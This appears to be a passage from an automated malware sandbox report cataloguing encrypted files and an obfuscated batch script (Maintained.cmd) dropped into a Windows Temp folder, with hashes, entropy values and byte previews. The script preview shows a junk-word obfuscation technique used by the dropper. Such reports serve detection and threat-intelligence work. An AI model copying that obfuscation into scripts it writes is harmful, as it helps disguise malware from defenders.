Preview:	.6..:.Y...esw...M+..mn<b`K.10.n..>...........N...La......_....e..'Z.1.../B..s...".hUR.....W..........w..X....G......2..NG^Z.&WnYq...q..~..T.}aLp~S...4a.7p.....y...\.r.)g+++>........0'......(...us..@.....F.".F..~P@...;b..s....,.W.7..Jy...t.C....m...!.m.G.....}.Q..>.c..H..a\|.yop2.t-...57D.q..]....../.Q..&...9.......S..pR....q.tW.ZN...VA5=..Y..'....[.B..t..X:..N4%..e...Y2j.2...... .2sJ.Fy.....UOi...'...3.E.T..s.s.s.2.R.9-G..b..`....fj.._...n...}....R...sX..wQ...M.c.....s....Go..M.T2p..#..U.f....0.0B......Ro...q=.....U.>...R..St.e.f.7._b......l.(Y"=c...q..Ou.........N'..=fh...W.~.z..Ca...xw.R.XS:N#.......k.[M.!....2....C+...X$k;nS........$...Y..o.3.9.K...SW.x7.Z..e...K.....^..BA.........2c..y... B1...t.V..jE.b.[....<....Z....M....!}.1..(1=....MTuy.............."...P..7.. ....j..T}.y.o~.4s.0C.4X....G..qF..U...x......Hh...El...0.x...I...*/?4.fw.a.q.!)..2@l..K.P.H.9p....,...g.....SG........L.4...t........&...4...e.....z..F`....E~5mR

C:\Users\user\AppData\Local\Temp\Guy

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	7.996999532174974
Encrypted:	true
SSDEEP:	1536:yyWsLLyeb9+a0/wmOzwCpXuV9rIOB+c3nYiakB4DpXPPD88L:yZsLjQa0/jQOBJ31rSDpXjRL
MD5:	48313106D8956C70102FA1DB87985D80
SHA1:	80C392FE38F9077054125205CE9DD1B4B3EB23FB
SHA-256:	56E5164700FB5223C11B910F8D262016B041E17BB679442CC22CACCCDDCBBDA1
SHA-512:	4AA1FA7EC73E39A720C5E36B79E02B3630C4154C637B81441C33D61B5EA05BE8285031F0C7DB12A8B893EA40E7A4B37FBB7AE04F7343589FB57D1DEDDCC8D695
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	.(\..L..R.R..ar..8......m.E........a......).Dd..(l~C.-....\|...b.....ue..MQ@e^.ca....p..9..],.~=c..OP...h..B.I....\.....e.KdN=.L=.p......tP..l._.G..%Hr.?.Y.......k<...5.T7.N....\|./.H....{...r.PX..`s.n.8.[..z...N.-.......n.&YT......C.....Z..?......um.dA..vN..7.BVBpc...a`F.]".........~?&..y......1o...9gmX.:.Fn.4w.4.....m.........Xh..k!ig......m.m~l=...b.[..wNd..V.Z%.......Z.W.1.E......c.(..}..I...x....G....sG..\.......w3g...Z.vt..vzl.P\|.g...,.....5..%).D-...%.4.......,.....V...C....).;\|.L...C.c0n....C..5.!..).g......rE...j...^...........30..QK..AAn..2..S.........;c.u...d......C.d.\|H.......#.!9...".m.\|.....a{4.Q.S.......c.......S..@...lU.T.J.......N.J......oY..v>L..;J..r@k.'.@.........:#.8..;..^..D...F.Q.?X....C@...V.'..h !..I..W.,..3.Z...<...5@=.#.^w..X9...%...A...... [e<.R>A..&....\|.......F>qxi....m5.BTH.+..".4m5..,...2.......!=K.V..Y>>.........A...._..n..4..M.....{..v.....FL.Av....'B...h....4..}...u...2v.h]P.__..)z....+...Xj]...d.-c.hSf

C:\Users\user\AppData\Local\Temp\Holdem

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	7.997529043650954
Encrypted:	true
SSDEEP:	1536:iBifkAkDplPtuCUWoXZRoej3FiwjtYGrDWlubJLVb:iEkAkDjtu9RLkwjtBD0uVLVb
MD5:	5367D9136B7C1D7F03C5433C388ED17D
SHA1:	E28C758B00703A3B4AD8CB767F5B2F4FC577315E
SHA-256:	EFB5D1444464E8BE96F7C89DBB7B14F926B052A7AD5CB7B4692BFDD9A8FF8069
SHA-512:	4F6BAE3761F4DC4DAE1022F3E3A0B3B2D5838939D45AD90189F96EFEA77C44814E6A0E25EA84E609AADE8AFF0DC4B3880DCC3152352D2249713231EBBB6E50D5
Malicious:	true
Preview:	.o..RM.7.c...Lo.t.`...?..TT<..R.^j....4r...L.d.....\..I5.~=...+..k....`.&C.1.r......R..c.0+y%..F..x....7...T......J... ..<1M.I..-.......% .c`\F.lZ.(.U.y...5.i.....9.f.Ap._?SG-3e)@...S...4..A....IUH......W?.P....Ng...r..OH........)...zG.}.U#..{.~....e2E.......I.A5..+U....#\..}.p.wmA....t.I..=...Oe.=8.l.........S.\0e..........=.<+.I......5...\|...0....]!...1VOT...1.;5..t..{.3..D....j. .."...f...d..T.Nf\...t..wZ,.5.yT.=#H.r...o..K..R.P6d.h\.qE%.g9.Q..VB......g<Z.,.....>.R......L.^.^mH...O.....8^.$~.......{@IV.S3c...J.@O...G/.g..Qk..H...n......4.......+.`..-R;c.z.....5........].Y.....S1..d..E.....@.a..;........Fx2=E....1..ONH......XK..C?].h.DH~.}.].CC......*......S...`wC.pb..[...[.&..(.......]\z?.....T...H.....7%...{(.....$..B.C...e..K...J..g.;.I........$.M...l.A!.a_..9n-...bfH.yC.rC..?.D5.L.&......\|5..H......Tk..Jlk..^c^.?...>.kJ.....!....w\..y.....7....g..L.aA...a.i.=...}..uo.. .....C...p.#..g=}P.....a...3..Pm..SU..~..w.A>.T.$...w...HL\|..

C:\Users\user\AppData\Local\Temp\Hotel

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.998350326457807
Encrypted:	true
SSDEEP:	1536:EcvrXShCcEW5IXxgtlbPrF01kZs5QaurdIIpImeH6WwglwSPAnJ/7Mn8k7NhZD0u:NrJSWXxgjrJ16urd3p/wxwgCJ/AnHBhr
MD5:	6FD979E6901C4860B4CE9FB8E8A7B0C8
SHA1:	E9F119A42ADA6073A946B0C86561434C49588D01
SHA-256:	9073184D53085654B4E0CB65396BE7571491A902B354C582B905BAE2B9579817
SHA-512:	4E2E2EB74A6AC76A61ABD9F17391372225A4CFBADC24D30D9D0D80314AD1D1A06EC8A5713D2A0B6ACF658B0E27E8202BD33AF966AB51C44AEC5B61F0EF86F0BB
Malicious:	true
Preview:	.qJx.\|.m.5....+...g......q...'+nI........0O{R.E,.Y.Rq)..:.}.#~..I...L=.:....r{l./...}..l......\|.....R3U.q..Nl.c.z`&...~..sU.e.\|q`.n..-.....wx...l.@rQ...t4.....$..H..c.a.ZiH8rB.H...pL....)...c.........`..D]....afL..4$.........v".s.c..d\......to%q....nAj%.@...joY..A...p....+...1........T%.ho.../?.VM._).Z..:...I.y)..+L..f.p..U....[...m.......?.3....<..... ..Y..G...M.G....V~._....6.p.c.Z....8..y&_....T....6.rD{..Q.1..F.{./ .~J...i..L.=..ER.......8.9L......c.6(".A$.Xp.=#.<mA..wb..i,ri...}..P>......l).M./.<D.M.,..+...WG.aENm[.mJ.C..T.[~..........Lhr]..8a44H.%S.....5..3....../..\p.9...q..20..K.0Z..........h...:.+..i......0D.H7.Hg....r#K..p5q....]LY.8.Jr.....<..._!dH@.g\#^+....6Z.`K.$..n"O..%.[.o..ae...;".&........D..$.....2..?..\|J..(....<.8...N[..5.K......aP..=...$t.........2....?.y....v...Y.qN$..b*9..%.;...(.3.l.%.....iP......N.Z.6..M[..Y....?.{....U...._....]..\1.r....nY..N.......ju-.p_.0Y.......\0..........2B.X.XiG...

C:\Users\user\AppData\Local\Temp\Households

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997086884054199
Encrypted:	true
SSDEEP:	1536:GjL4qEOtRM+iAckFX7Ip/Ztm3X9YYMIpHeU7mWHy+fNWhA:e8Ii+iAxFXs7c9MIdBbfIhA
MD5:	DB0DAFBDA7E17C66AB797563E2BF2711
SHA1:	659BBE5B558AEA3438CCC443D573BD93741CF9B9
SHA-256:	C136C4A84EE625A31733105A8D063C02E9FFAC0F547892E5143EB6BBAB696BA8
SHA-512:	91C773C66FBD7CDA117724E7B5CA3893DD27E57954F3C5A3B5102EAA6A74472DBBBE6A8217229DA7BC1D23ED0DC5A79107E563C8F661B61BA1350823FFC77BC1
Malicious:	true
Preview:	..... }.u.....R.....I..z...>..&.1!.:.JTk..A.{.B..........c~{r.A..F.e.s....6.H..\....3.l...7.;...s...O.y.n..T.. &a4.M&..D7.Y..(_[B...$...+.....;~.r....1=R..3:}o/.A.?.$.^.w....Jyr1.....qd.zdGQ..b0.X.wa.D6..0.m`..P.c^..^...#.`[..7.6...,.yBo..^L....}S..j.....^L...mi.,M.'xB......h......HN.Y.}.3..i......s.w.2....,S.p=.Q....T...3.b+.....u...\.h_q.\7..J.Y./<AyI/.......3K.z~.8.....lH....}c...zGk.p....5...7...38...s........#.O7.W..2.c[..<......PEl........b...xYK..IB.~MG....J....:.wa.?.t....H..A..Yg.4\|al.M..P.7.(...v.y.....HX..xV9.3.7.C..i.a.T...C..-......u.y.OF..,N.x.......et..I.x.t....x...d\.A.V.j..N..N.a]$.....7.....+..M.>~.sX.P*.P....t.6...J...6..?V....Rp..;M".z...&...f.)D...u ..G&..fo..7.5.EC.O.%..c~S.7.M#..1.a.$L.........=^:..8.s"r..S...Z..`.y.I@.X.a.-h...O.......F....P.h4...~....v.iaW..oj..y..\..A.1.%.=.3 ..s...TvL8k2P.f..2...pR1%.j....&@K.J..Ps...k.s...?..b....%...[.`...s....u.f">.O.........qV.)......d..'.LA.:....&...z..".K5.9].W.\aj.v

C:\Users\user\AppData\Local\Temp\Images

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	7.998303969672203
Encrypted:	true
SSDEEP:	1536:r8+vJUXng1e1rz4NO305o1F5pGYwF56Brnuu+bYaPHfRgHb0fh7fvi8Ey2YFxBdf:rkXg1e1r2OEYF5saMbtH5g7IRviu2EB1
MD5:	4A2463075A88EAD2038751619DA9864A
SHA1:	5A9EDABB6FA0745E773A64FD97C662D70D29FDD6
SHA-256:	4EA9762C369F6F1E09C26B517AE8511D751294F1F9074FF943734C471BB10ECF
SHA-512:	43EF3A89B40B16C3443C9ADDABB7AA057BFC69F7CC5E1F8B83A3240B1A878532EAC9AD1ADFF5FD82FD1012CC912E4A8A3B1E33156A77931D9C407F986665B846
Malicious:	true
Preview:	+S..8.w.J.O$.......... .....)(.X3$uj.C!...>e.......^......c.v..n.. .]...~.3.j.K.....2J~....>..!`h@...eT.B;.(.:Hg....Q...N..K....n,,\.f(..[....-.\|D!L ...B<.....?LjQ0+.._$..K......n..4...4..h...o........Ds.k..2x.. .[........#....q...b^/...k.5........98H..($\|\...\|...e..$.=..@1......\|....2..,.(W.X...]...>HVJ.#.W.~3....rxV[......EH.\._..5.o....._.....k.L.+.......^.5.[J......Q.q.'..#..'.<d ....... i..c&eW`..t....`el:....y.yY...........XH.;:...!....w...=3...E...S..v{.L......J..bt.r..p4....^D..jy..E^.v...SA.U.i...f.../O......UX....#.._...6...Q%. .;.}5>.2H4,..n4 l..-.N.....8......}.....ve.....P..?)].#.Y........5b..B.mn..P+..........${P59..%H#Y4jVC.d..7P....c....='.o;.JQ2[aP:......H..8....Z..i...........$.e..F{3.c..j....B..TB...!.Y..58......wM...LQT..=./.(s............;.........^....I)O@.0\.=..x`..qj.p.n..M[.E&?....^`.Y.G...%..}...(.a..l...V..=......;.2T}.......&......Qx.T.".deP...?..2>..i.....N.m.c.u.0.....x.%,nV...xt..2..L. ,.d..X.Z".T-.

C:\Users\user\AppData\Local\Temp\Individuals

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.9968801316142315
Encrypted:	true
SSDEEP:	1536:JQuqFcc6/eaxcT2wPtZm0DaBlIz276oTogJTxAyE:JQYctTptZrYISJTV+D
MD5:	35D0D43DA1664E58478D94128707DA73
SHA1:	2F788AC9270A234FFE53CB07FD926722EF0D6B19
SHA-256:	79BBD998B92B39A84410163966C16855E55463BE29310B0CA82D0F9B815C6834
SHA-512:	FEFD1AF648417E357C908D0350E69FCDC9B2DA8677590E0D625269E64E4A105AD84F47B7BC9C9F8359BC2379B419DBC38DDE5806FCA56CB748DF70EB36F364A6
Malicious:	true
Preview:	....{.a.+.m.1.<.:?.=.3t- O..8<g+..g....[.w.U?.%.........#..%Y{..k@I..Xy..j.8.(...i.fJ.J1m..s+.G)...;..R.q....N.`....Y.....e>m{....U....8.......Y...;.l.P..r.'.......q..M......g...ZfX...]H.}@a..f..-.v.....v".wR\S.y..R..t.V.y.\|../OaZxQ..}..FY...x....1vnt..,k}..y...A1.Z..n.....iz.9.....4.....^.a..N..bKz.N.B..Jr.h5.y.[.....g...8`...KZgU..._.~..0.j..h,.9o.-L.....%....m.1~}k..^...[]Y.?...\|.>...p......?V.9..+qNV?L..7....K....ja.N.C. ...k..~........C45.......D.N....x...-..h.?..z~...h..qH..,...^.A~-z....R.V.H'..D....!Sw..xD..n..5HHX...$..i.3........Z5.........z.]B........YVJ.w.:..7fx.......LL/.Z.G%.o.z.."t0...^l.tQ.2..9.E.@.F.....z.F..l.....5.a...._.B....QY......{.r.Z...Q.Q...i.dY.+-..%A.@#[.....4...$..1..........lW.w]I"Y.S...M....H...`^Y.$':.Q..<..Q-.....=..NRF..!'........~..g%N....o.o.Z\|.....MM._...........Q..`s.foZ."&j. .....A.....=v.y1u........r.Q)...>...c'.0...D.e>...p/.......X4....NT...2.`,s.1U..CO.<.7n...%.&m.O..MQ...I-3C...q....\..7.:

C:\Users\user\AppData\Local\Temp\Innocent

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.998121796911163
Encrypted:	true
SSDEEP:	1536:eecbHlDjpr4H10m/VE9msufA+CbgaSNLDhh3piZCfQSpx7GSL7sq5Bwr5:z6DjpMV00UmsufAYh5cCf3IMAq5Bwr5
MD5:	B2E5203A7D0DFE9DABC6FB932544197C
SHA1:	469588B97F5A32B9C4B3257522110548890078E3
SHA-256:	50EF4221C1732E8095424438E58EB85A182372AD7B6A0099047760E81C291CD4
SHA-512:	932FC653F043F3E85406677B444D6005C8FE49AF4B9C05C38D8C022C537164826EE987B190DD585CA3EB5DD28BA18A3A56FC90E0442C9FF54708EA39E5178C47
Malicious:	true
Preview:	..a~....n....;Y.......M.......>~..s!..x.. ..h..TH.......I...R.}...#.^SoC.~$.......xh..2.'5..;............8....S....B.......=.q".\|....#d.........4...X.X.....f..H.T..].!.gx....s..82.st]..>.Z.y.?...B..C......8.u.........h~........C.oY.;.xZ#..d.g.T..D.{ g6.{.@...(&k.gn.\3xL.....&w9.....5d.....G+.m.\|vzf;.b..a.X.F.....v<7.8.....:..BBX......k..H.....@.Cp....{t.......L..x..)^.G.-..Q..p.K...V!.q...j.......Au>....... 1(..N...S..#.b....L........j...G............:1.....kV=%..)!.d.S.&..W.o.G..r.......?.....CZ).7..~Tn.V.k...h....&.u(.....sr8\..m.]X.Js=9..'...."_..5..v.o......._..B"n/.}.w1..FG.@0{..T.P..j<..X....H.Y.uS.......!.s..i#H1q.8...V..--MN3....h..{........-....+.\|\|,9.../F..u...q.u.......DX......"d..3n.....Y..6..\.?u..SI..[.s,.?.c.ayP..iQ..........l.$?..,....K..2....0@...G.......i.{[...?<........d.3...X.......I....C.^7..#.fr>Sv5w.F..~..@q.s8X./o-..k.._4.../u....:...Z.....>u.x..A#?G....+.u......~%....4R.9....4NA.P.........^.. GI.Tm..-..t%

C:\Users\user\AppData\Local\Temp\Jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	7.997924716618812
Encrypted:	true
SSDEEP:	1536:xZS30cZdYWhn4nHM/TzJ1BqCuq0RmkXqmYhN1UnDLjX7kEBlkA9DNYp:xZ9cDYWhn4Yn7uqKmkXO5+LxIqDN4
MD5:	1C2528497553816DB00C62DD024EC143
SHA1:	63C1AEE46CA09816EC774265F5B8D6A96EE5EE63
SHA-256:	03752567439AA275CF8955C2CCF0360D99D0FA2394C37B4CEE22A85B1467748C
SHA-512:	2D473EDAF34B53C2C04CD968CEC4D209340ACB4A04744D43CC393F2A5DB60A1112A8C45AC7C6D74A35EDE0DF15B3D9C60DF2E512B36DE3409AB0DC5390F9BD0C
Malicious:	true
Preview:	.\.cowg.........j...+....d...Df...]d... ...U....r&....>...zY.C../q.....e..?.h.....n./.A./.4.1..wA...F...}...k?....G.~..\..,.}...\|..%.m.y'@U9g..(..6G....4.\^.....1..\|....-..W..w._...>..Pi+#.2...9....\|l.R.:.e....i"Rpn..V....[......<....`X....VA......Y..g\|gb...P1..C....{'Nncs..l..#..hi..(.[C.v.-LO.......9.."....@K.l.U.....{#y.G....L.}.r.H&2..kH.=./.F/......V.~....R..W......&S.].-......\O5.mE7....?.g.H....d].....E..6.HW.Ao.iY\..Q.t..x.1..H.6.)..V.<..Kz..fT...W..d..."fP2..x.E...8.....1....p.;&.jM7.Yz..-..]....a.....?..{/.@e..P.GA.)..8....D..P#.].......=D......b.;C...$.......T....p.....@.$...l..T.....f.wY.0........I=@.z.Y....\|.e..}..!O........(.z...?".b...1V.?...a.Xh2_/3..QdmU...<.}5.K...)f.I..j..v.\|....zO..4....=o).R.m...D..`....F.....,a...`.i.Y.B.. ..w...~./T..:.....6o.i..m.,.....%\.f?..{....!...]o.j.....&pK..8q&..R....z.-.:.....%........ ..oT.ES.Y.\G.[..D~.S.$........RjQ}K.%.L..[.......#u.kA.&72y..k+....w....J.q.P..`......;E.-...

C:\Users\user\AppData\Local\Temp\Jungle

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	7.997568079338421
Encrypted:	true
SSDEEP:	1536:UgEsqvc/CQaTP+s8RHwH/6gX/zTKp9r6TdvR7p8duexD0EKhQ+yP:UgEsqvuCQEN8pqSgX/Kr6hEnxD0EKqP
MD5:	52B65FAD50353274B962C5B10DEE577B
SHA1:	4BE864BEE1AE00DDE41D8364ABA37D3000C39800
SHA-256:	67FA184416E7552A7C46E35577F3B227DC39D90B530DED039EC7FA46B33461F2
SHA-512:	55AE96566170A1622F0835A1864360869D7D747F8136DAB4020F52A0B5B84F7CF26A97996A7EDD09431A63CC0C968221E044E5C0E7DB7AB397EDB0A3FDC22287
Malicious:	true
Preview:	.!}r..)je.....b.F../..r...m..z...eh.@....$x. g.....5..4..._.....k....F.H7.....B.j..)...JsJ%S.E"...r.....PEn.:.q9N.KP......>.sl....b...K"...x>t.{........ (+.}...A...S.R._.TN..l@.\.<n...,....>..s)/..&....`.W......U&..>..._..D..XR:W.<=...........Ba]..l.W.........Y..^[...;c.>.\>.........=g...b....OWY..e...kOhJ....q.9.....}...M'.+.X?..m."....@U_5d...'..+?W.......D.mf9{).V..W.m.r.C..]...jZ9.. ....H.;......z....^qo.3.R.:z..N.@..b].....QG...lW.`.P..f....@G..n$..+....]..V@5Q?.}[2.YkX...I.l.;......6..@....}....b.>$x...b.,..l...;.U...rE.+..8.....`'S.%.g+,..!......B......._.mD#..Et9...y...8...P.u.Zo4...BF..D....Z....(...f.v.T...<....!N&.G...A...`..x.A.!k.j.NV.z[.'"...#.0E.$8p..{y..u.'CZ..._.4OT(A1l1..)..P\J.C.."..]t5.Lo...9..5(..\..9^.'.q.`.$./..0F..0]sP......Rg..OK..A+.7...+....+..he....uA.TkD..g....@........q.....F/.2..ni......O.~[5...{.......O.....wo._D...eD..F.`.8O..m..._v..:.&0......o.mEX..\|.{[.xp13.....d.B\.O....Q.!.#..x5M..Y.....u....

C:\Users\user\AppData\Local\Temp\Lambda

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.997923921413788
Encrypted:	true
SSDEEP:	1536:2HU4sVWdrSZdD+rb9RRLQedcoSqTULYucbiTjmQdZ/YP4kT7dVpPVMPCbzME:2HnIqWXDmRRL2qTUsuc+nmg+JVpPVMPy
MD5:	DFD76B66DB77FF05DE73827C77A3801B
SHA1:	FED2B5FA2CD3CD90232DAEBF0505B7062D493BA6
SHA-256:	77C7DFEE7C8A1C5781F037A014109D51EF371EBE0916A6E8C22E8130C9514F5F
SHA-512:	C05671E1C03C5955FAB475005EC7D226231C8CF6ABF69D97FE6CEEB6E5170637119532FB4ABFDD7BC6DE7ABA313D2D15AA94F7E8CA44D3016E6FBA689165144B
Malicious:	true
Preview:	.~EN`.+'\.m.$.eSOd0...W...Lz0.t~....8..1.)e..5..i./-:.#..i).$.j3`DKv8E~=..Hl`...$.y.\|W.er..Z.t.Zz?cj...%.$/.1:.c....Fa.z.78.$....]k.UzP.rU%..=.6.$.V..^..iX.V\|$6..~..q..V.l..O.s....&..K....!.R.......l..p.n.n.w..L.q..N.j.=.w...7.~:w[.W...T.}?.s.Bt..kZ}......^.wg.;...Z ...j...Z.9Trt....H.K....&.e...}.".........}.xW3...}...}Z!.X..-...r.5EA...'..b.....c.....q.&.....5=c.g......=.f.`e....:6...5o.-.R..:\..].}..........Shz...R..)S...G-b... ....O. .i`d.U..<......`..(.FR..[.....I..p7.e..... ..J.1...Mz.XqP..d.5.Lw.h...f...k...r....-....pj........!....3..u\|....6.._..h.......?}........_.K.M..5L...,q....wi.....'-.,....VwIUt?.k....(.C.....r,.)l./....o.F..(.r.E.....;R\G..G+k\|]i.I?.uk. .(..H.a...#..w..V.ZI.E....".0..+.fT....(.t.5...<..b.}..g.W..-..~.r..,..t.:.g...T}y..z....".NM.#..L.-.2.....J..... OV(.-2...w.w.....\|.....K.F...<w".<'...b.....N...ez...^.S..0...-D.)7{.,.sH.[.....W.p ..P$c...[:M......0@..(7f....K..L....=.4..WH....CCl..F...`....Q.&..

C:\Users\user\AppData\Local\Temp\Landscape

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997519356478973
Encrypted:	true
SSDEEP:	1536:kx6fVFVhZjUDsFHZxN8L/j+g7iruiLjMCPmHi4IvY+AjQBgkXCLLQ+:DfVFVLHZD8L/jz7d+mHi4Ig+AjQBg9Q+
MD5:	E4E5AD2B336634241072FCBE6F0F952F
SHA1:	B5BEAE94E19DDE8CFBBE62319697ACF02569B697
SHA-256:	2742D13C98E22E492E4A48E9252F70C80A3BADCE5D945E60935F212580C89EF3
SHA-512:	16BB97F2E2C2E5B87AF32F48E6FECC33D2DABA6D829E684C6B23AF865A6A4B751433AC4096121DA16BAA0197157E85F9E6596703A4168F43C9D184E650A5A45E
Malicious:	true
Preview:	...Q.Y..>..'I.X.8..fS.K....;....E\|....c.-.:.>...4E....x.c%....t.i.t./../...H....\|..FIV...j..n.U...;..'4..r..$x....o[`CP\..O...>........jo.z.'^...v..:....1\..>..)N....2.L...A.~?...<....f.{-...D...... ...g......l.r>...h5C.&..=..........0..A8.8uj.G.<}..`QQ.}\|.J..n...o.`.,..r.F..)....6...!...w;'.3i.....g.Sx...w}...K..B.74;G.....pD..(..;`..8.iV3K.......t....4.%.-.?~.+......Q.[.2.....G..ARpZ....u.8`ueL.4.....1R...........r.\..z1..?..U..3.._..d._..V..........c..H...'..8..._...._fi....M1%.n..h...z6.u.6.C....6.T/..u...,2d......5....+......;.Wx ..c..PN....I#.q.....~.....[.u.8...r)...`R....=vk......<.N0...X......G....xP5..j....1\|.T......B..G.9....Sh&..7a....Ip"..l.n.Z.n#G.R..4O[.@`..I..c.6.Y...%XM...{....~XX.........;.......).b..y....K.#.'..;...\......S........!&....b.D.f.W...}..U......X...!.X.%...4s..7.......q....}b..%@...C.....C.l~sH.;.......U.........~...a...=P.HV.E....5....G.....j.N.\.z.....k.j.....\|..*\X..@.....Kq......<...mA&.Sm.

C:\Users\user\AppData\Local\Temp\Maintained

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe
File Type:	ASCII text, with very long lines (504), with CRLF line terminators
Category:	dropped
Size (bytes):	12211
Entropy (8bit):	5.131626631718349
Encrypted:	false
SSDEEP:	192:8ujkBdtyEh/xAyfwnTu2NxEvEmlzGKKNb6bq37kWMOvL2j473pmkkun/OuWLd:DjeoEhpTF2bEvllaKKhgqrkW9qj43PfY
MD5:	6FF422DF42E6EC85E2C998979F273D19
SHA1:	3687A7139A14D806E4E6EF1BC039343AEDA21F8D
SHA-256:	1D8149FB84A333AE0E89B60E0D90C1F67D827A07AC9645FD22AEA2CEF8F4B338
SHA-512:	2075A71E23D40E709C97AF9CE60C1D493BE2ED791D5F575C3F390013500C34C09E9AAC8627D03394097545FC12A651B01505CF35F440B8619B6581E19979B689
Malicious:	false
Preview:	Set Surprise=U..ljSymbols-Pointed-..KQuxIts-..EyZSwitching-Ghana-Honey-Portal-Thomson-Announcement-..wToSki-Safe-..ONiDeclared-Autumn-Mailed-He-Centered-Expenditure-Commercial-Pts-..WpUDuring-Consultation-Wheel-Shoes-Np-Additionally-Long-Engage-Convention-..RPHDFibre-Texts-Efficient-Raised-Ho-Recreational-Swiss-Tractor-Building-..Set Gmt=T..oJSupposed-Meat-Stats-Cindy-Centers-Lopez-Heated-Cdna-..OVHere-Zoo-Plus-System-Novels-..AyPenis-Cunt-Adaptive-Access-Begins-..TVzCIssn-Student-Nurse-Steering-..xsjEGrid-Corporations-Tcp-..sGsPlease-System-Petroleum-Mozambique-Guard-..Set Southern=C..HFQObvious-Delicious-Concerts-Order-Determine-Ho-Note-Death-..COvGControllers-Dis-..faResulted-Dialogue-Generous-Liberal-..wFLes-Athens-Import-Covers-Maternity-Realtor-Chain-Graphics-Wound-..efZBCocks-Dont-Ins-Calls-Cradle-..wnahAuckland-Former-Subscribe-Poll-..Set Registrar=m..qjMessages-Slowly-Trademarks-..TWntCostumes-Doctrine-Amp-Trackbacks-Urw-Montgomery-Hz-Tennis-Designed-..PiuUJourney-Entitled-Cha

C:\Users\user\AppData\Local\Temp\Maintained.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (504), with CRLF line terminators
Category:	dropped
Size (bytes):	12211
Entropy (8bit):	5.131626631718349
Encrypted:	false
SSDEEP:	192:8ujkBdtyEh/xAyfwnTu2NxEvEmlzGKKNb6bq37kWMOvL2j473pmkkun/OuWLd:DjeoEhpTF2bEvllaKKhgqrkW9qj43PfY
MD5:	6FF422DF42E6EC85E2C998979F273D19
SHA1:	3687A7139A14D806E4E6EF1BC039343AEDA21F8D
SHA-256:	1D8149FB84A333AE0E89B60E0D90C1F67D827A07AC9645FD22AEA2CEF8F4B338
SHA-512:	2075A71E23D40E709C97AF9CE60C1D493BE2ED791D5F575C3F390013500C34C09E9AAC8627D03394097545FC12A651B01505CF35F440B8619B6581E19979B689
Malicious:	false
Preview:	Set Surprise=U..ljSymbols-Pointed-..KQuxIts-..EyZSwitching-Ghana-Honey-Portal-Thomson-Announcement-..wToSki-Safe-..ONiDeclared-Autumn-Mailed-He-Centered-Expenditure-Commercial-Pts-..WpUDuring-Consultation-Wheel-Shoes-Np-Additionally-Long-Engage-Convention-..RPHDFibre-Texts-Efficient-Raised-Ho-Recreational-Swiss-Tractor-Building-..Set Gmt=T..oJSupposed-Meat-Stats-Cindy-Centers-Lopez-Heated-Cdna-..OVHere-Zoo-Plus-System-Novels-..AyPenis-Cunt-Adaptive-Access-Begins-..TVzCIssn-Student-Nurse-Steering-..xsjEGrid-Corporations-Tcp-..sGsPlease-System-Petroleum-Mozambique-Guard-..Set Southern=C..HFQObvious-Delicious-Concerts-Order-Determine-Ho-Note-Death-..COvGControllers-Dis-..faResulted-Dialogue-Generous-Liberal-..wFLes-Athens-Import-Covers-Maternity-Realtor-Chain-Graphics-Wound-..efZBCocks-Dont-Ins-Calls-Cradle-..wnahAuckland-Former-Subscribe-Poll-..Set Registrar=m..qjMessages-Slowly-Trademarks-..TWntCostumes-Doctrine-Amp-Trackbacks-Urw-Montgomery-Hz-Tennis-Designed-..PiuUJourney-Entitled-Cha

C:\Users\user\AppData\Local\Temp\Matching

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	7.9971039907755745
Encrypted:	true
SSDEEP:	1536:PhiCnmxVeGkMRl2j6mxR+p2yClCuA0Bsugo+kSy:8CmxVeyRqxY2NrPy/lkSy
MD5:	7510F3BAB735AA0B90DA961BA83C9D00
SHA1:	657002E9512C99052E49DB9A1D2CB4079AD9B3AA
SHA-256:	8AEA583F35AA0AC0F17AE809F29BD48CA44771371B8A45FE924EB770BCBC544B
SHA-512:	1B58483BEADA818A9DF6BCA4EA2CC664C2BA79F8ABD986D39416F314DE6585C7DE9AB7A34C616814920C8F7A6F95EA62749F994BB5543F9A0864FF818F336A8C
Malicious:	true
